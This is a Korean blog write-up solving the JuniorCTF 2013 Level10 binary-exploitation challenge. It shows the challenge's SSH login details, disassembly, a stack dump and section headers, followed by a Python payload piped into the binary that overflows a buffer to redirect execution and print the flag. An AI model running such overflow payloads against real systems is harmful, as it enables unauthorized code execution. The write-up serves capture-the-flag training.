JuniorCTF 2013 Level10 Write-up [exploit]

드디어 마지막 레벨까지 오셨군요.

마지막까지 화이팅입니다.

리눅스 로컬 문제이고 바이너리를

분석하여 풀이를 인증하기 위한 키를

획득하세요!

[SSH 정보]

IP: 112.172.160.241

PORT: 2323

ID: guest_face

Password: computergenius

문제 바이너리 위치: /home/face/chal

.text:080487CC s = byte ptr -4Ch

.text:080487CC dest = byte ptr -38h

.text:080487CC var_1E = byte ptr -1Eh

.text:080487CC src = byte ptr 8

.text:080487CC

.text:080487CC push ebp

.text:080487CD mov ebp, esp

.text:080487CF sub esp, 58h

.text:080487D2 mov dword ptr [esp 8], 14h ; n

.text:080487DA mov dword ptr [esp 4], 0 ; c

.text:080487E2 lea eax, [ebp s]

.text:080487E5 mov [esp], eax ; s

.text:080487E8 call _memset

.text:080487ED mov dword ptr [esp 8], 18h ; n

.text:080487F5 lea eax, [ebp src]

.text:080487F8 mov [esp 4], eax ; src

.text:080487FC lea eax, [ebp dest]

.text:080487FF mov [esp], eax ; dest

.text:08048802 call _memcpy

.text:08048807 mov eax, offset aAreYouTryingTo ; "Are you trying to buffer overflow?!:\n"

.text:0804880C mov [esp], eax ; format

.text:0804880F call _printf

.text:08048814 mov eax, offset aInput ; "INPUT: "

.text:08048819 mov [esp], eax ; format

.text:0804881C call _printf

.text:08048821 mov eax, ds:stdout

.text:08048826 mov [esp], eax ; stream

.text:08048829 call _fflush

.text:0804882E mov eax, ds:stdin

.text:08048833 mov [esp 8], eax ; stream

.text:08048837 mov dword ptr [esp 4], 1Fh ; n

.text:0804883F lea eax, [ebp var_1E]

.text:08048842 mov [esp], eax ; s

.text:08048845 call _fgets

.text:0804884A lea eax, [ebp var_1E]

.text:0804884D mov [esp], eax ; s

.text:08048850 call _strlen

.text:08048855 mov [esp 8], eax ; n

.text:08048859 lea eax, [ebp var_1E]

.text:0804885C mov [esp 4], eax ; src

.text:08048860 lea eax, [ebp s]

.text:08048863 mov [esp], eax ; dest

.text:08048866 call _memcpy

.text:0804886B lea eax, [ebp s]

.text:0804886E mov [esp], eax ; s

.text:08048871 call _strlen

.text:08048876 cmp eax, 1Eh

.text:08048879 jle short locret_80488AB

.text:0804887B lea eax, [ebp s]

.text:0804887E mov [esp], eax ; s

.text:08048881 call _strlen

.text:08048886 mov edx, offset a1ErrorTheBuffe ; "[1] error: the buffer is too long. [%d]"...

.text:0804888B lea ecx, [ebp s]

.text:0804888E mov [esp 8], ecx

.text:08048892 mov [esp 4], eax

.text:08048896 mov [esp], edx ; format

.text:08048899 call _printf

.text:0804889E mov eax, ds:stdout

.text:080488A3 mov [esp], eax ; stream

.text:080488A6 call _fflush

.text:080488AB

.text:080488AB locret_80488AB: ; CODE XREF: bof ADj

.text:080488AB leave

.text:080488AC retn

.text:080488AC bof endp

0xbf82aad0: 0x08048318 0x0000001e 0xb7668ede 0x00000001

0xbf82aae0: 0xb75fe228 0xb763b8f1 0xb77a6000 0x00000000

0xbf82aaf0: 0xb77a6000 0xb77a6a20 0xb765d112 0xb77a6a20

0xbf82ab00: 0x08049084 0xbf82ab24 0xb767c190 0xb77a6000

0xbf82ab10: 0x00000000 0x00000000 0x080488ab 0xb77a6a20

0xbf82ab20: 0x00000024 0xbf82ab28 0x41414141 0x41414141

0xbf82ab30: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf82ab40: 0x41414141 0xc73b4141 0xd9d844c0 0x00000000

0xbf82ab50: 0x083bd008 0x41416a20 0x41414141 0x41414141

0xbf82ab60: 0x41414141 0x41414141 0x41414141 0x41414141

---Type to continue, or q to quit---

0xbf82ab70: 0x41414141 0xbf82ab00 0x08048af2 0x00000001

0xbf82ab80: 0x0fab0360 0xc73bc2dc 0xd9d844c0 0x00000000

0xbf82ab90: 0x083bd008 0x00000001 0x0fab0360 0xc73bc2dc

0xbf82aba0: 0xd9d844c0 0x00000000 0x083bd008 0xbf82abb8

0xbf82abb0: 0x08048f2b 0x00000000 0x00000000 0xb7610935

0xbf82abc0: 0x00000001 0xbf82ac54 0xbf82ac5c 0xb77d3000

0xbf82abd0: 0x000004ad 0x00000000 0xb77b0858 0x00000003

.text:08048E5D jnz loc_8048EF0

.text:08048E63 mov edx, offset modes ; "rb"

.text:08048E68 mov eax, offset a_Flag ; "./flag"

.text:08048E6D mov [esp 4], edx ; modes

.text:08048E71 mov [esp], eax ; filename

.text:08048E74 call _fopen

.text:08048E79 mov [ebp stream], eax

.text:08048E7C cmp [ebp stream], 0

.text:08048E80 jnz short loc_8048EA8

.text:08048E82 mov eax, offset aNoFlagFile_ ; "No flag file.\n"

.text:08048E87 mov [esp], eax ; format

.text:08048E8A call _printf

.text:08048E8F mov eax, ds:stdout

.text:08048E94 mov [esp], eax ; stream

.text:08048E97 call _fflush

.text:08048E9C mov dword ptr [esp], 0 ; status

.text:08048EA3 call _exit

.text:08048EA8 ; ---------------------------------------------------------------------------

.text:08048EA8

.text:08048EA8 loc_8048EA8: ; CODE XREF: flag FFj

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000 000000 00 0 0 0

[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4

[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4

[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4

[ 5] .dynsym DYNSYM 080481d8 0001d8 000140 10 A 6 1 4

[ 6] .dynstr STRTAB 08048318 000318 0000cc 00 A 0 0 1

[ 7] .gnu.version VERSYM 080483e4 0003e4 000028 02 A 5 0 2

[ 8] .gnu.version_r VERNEED 0804840c 00040c 000040 00 A 6 1 4

[ 9] .rel.dyn REL 0804844c 00044c 000018 08 A 5 0 4

[10] .rel.plt REL 08048464 000464 000080 08 A 5 12 4

[11] .init PROGBITS 080484e4 0004e4 00002e 00 AX 0 0 4

[12] .plt PROGBITS 08048520 000520 000110 04 AX 0 0 16

[13] .text PROGBITS 08048630 000630 0009cc 00 AX 0 0 16

[14] .fini PROGBITS 08048ffc 000ffc 00001a 00 AX 0 0 4

[15] .rodata PROGBITS 08049018 001018 000341 00 A 0 0 4

[16] .eh_frame_hdr PROGBITS 0804935c 00135c 000074 00 A 0 0 4

[17] .eh_frame PROGBITS 080493d0 0013d0 0001d4 00 A 0 0 4

[18] .ctors PROGBITS 0804af14 001f14 000008 00 WA 0 0 4

[19] .dtors PROGBITS 0804af1c 001f1c 000008 00 WA 0 0 4

[20] .jcr PROGBITS 0804af24 001f24 000004 00 WA 0 0 4

[21] .dynamic DYNAMIC 0804af28 001f28 0000c8 08 WA 6 0 4

[22] .got PROGBITS 0804aff0 001ff0 000004 04 WA 0 0 4

[23] .got.plt PROGBITS 0804aff4 001ff4 00004c 04 WA 0 0 4

[24] .data PROGBITS 0804b040 002040 000008 00 WA 0 0 4

[25] .bss NOBITS 0804b060 002048 000090 00 WA 0 0 32

[26] .comment PROGBITS 00000000 002048 00002a 01 MS 0 0 1

[27] .shstrtab STRTAB 00000000 002072 0000ec 00 0 0 1

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Value?

INPUT: add_value(): added

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Thanks for the info.

1: number - 00000001, value - 00000001

You are the hero!

Are you trying to buffer overflow?!:

INPUT: [1] error: the buffer is too long. [36][cccswcpzz#톶?

Segmentation fault

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

....

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

Oh, wow! Congrats! The key is: AwesomeFriday!

2013 HDCON PreQual - Luckyzzng Exploit (0)	2013.11.06
[Windows] Exploitable? Fuzzing을 통해 나온 크래시 분류하기 (16)	2013.09.01
HackerSchool LOB [redhat] Level20 (0)	2013.07.14
exploit-exercise protostar fianl00 Exploit (0)	2013.06.06
Exploit-Exercise Fusion level01 (0)	2013.06.04

sweetchip's blog

고정 헤더 영역

메뉴 레이어

메뉴 리스트

검색 레이어

검색 영역

상세 컨텐츠

본문 제목

본문

'0x10 정보보안 > 0x15 System' 카테고리의 다른 글

관련글 더보기

추가 정보

인기글

최신글

티스토리툴바